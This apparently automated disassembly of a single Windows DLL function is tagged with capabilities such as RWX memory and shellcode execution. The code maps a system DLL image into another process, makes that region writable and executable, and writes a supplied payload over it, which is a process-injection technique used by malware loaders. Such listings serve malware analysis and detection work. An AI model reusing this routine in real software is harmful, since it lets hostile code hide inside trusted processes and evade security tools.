Function at 0x1800037e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov r14d, r8d
mov r13, rdx
mov r15, rcx
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x3a0]
mov r12, r9
xor ebx, ebx
call fcn.180005d30
xor edx, edx
mov dword [rsp + 0x50], ebx
mov r8d, 0x208
lea rcx, [rbp + 0x190]
call fcn.180005d30
lea r8, [rsp + 0x50]
mov ecx, r14d
lea rdx, [rbp + 0x190]
call fcn.180002ce0
test eax, eax
je 0x180003a99
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call fcn.180005d30
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.GetSystemDirectoryW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000389b
mov edx, 0x104
lea rcx, [rbp - 0x80]
call rax
lea rcx, str.shlwapi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.PathAppendW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800038ca
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x80]
call rax
lea rcx, [rbp - 0x80]
nop
movzx eax, word [rcx]
add rcx, 2
test ax, ax
jne 0x1800038d0
lea rax, [rbp - 0x80]
sub rcx, rax
sar rcx, 1
cmp rcx, 0x104
ja 0x18000390a
pushfq
pop rax
btr rax, 0xa
push rax
popfq
add rcx, rcx
lea rdi, [rbp + 0x3a0]
lea rsi, [rbp - 0x80]
rep movsb byte [rdi], byte [rsi]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x3a0]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180003a9e
lea rcx, str.ntdll
mov qword [rsp + 0x58], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180003a9e
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x28], 0x1000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xf001f
call rax
test eax, eax
js 0x180003a9e
mov rsi, qword [rsp + 0x58]
lea rcx, str.ntdll
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtMapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180003a9e
mov dword [rsp + 0x48], 2
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x40], ebx
lea r8, [rsp + 0x60]
mov dword [rsp + 0x38], 1
xor r9d, r9d
mov qword [rsp + 0x30], rcx
mov rdx, r15
mov qword [rsp + 0x28], rbx
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call rax
test eax, eax
js 0x180003a9e
mov esi, dword [rsp + 0x50]
lea rax, [rsp + 0x54]
add rsi, qword [rsp + 0x60]
mov r9d, 0x40
mov rdx, rsi
mov dword [rsp + 0x54], ebx
mov r8, r14
mov qword [rsp + 0x20], rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180003a9e
lea rcx, str.kernel32
mov qword [rsp + 0x68], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.WriteProcessMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180003a9e
lea rcx, [rsp + 0x68]
mov r9, r14
mov qword [rsp + 0x20], rcx
mov r8, r13
mov rcx, r15
mov rdx, rsi
call rax
test eax, eax
je 0x180003a9e
cmp qword [rsp + 0x68], r14
jne 0x180003a9e
mov qword [r12], rsi
mov ebx, 1
jmp 0x180003a9e
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x58]
test rsi, rsi
je 0x180003acf
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtClose
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180003acf
mov rcx, rsi
call rax
cmp rdi, 0xffffffffffffffff
je 0x180003ade
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x6b0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret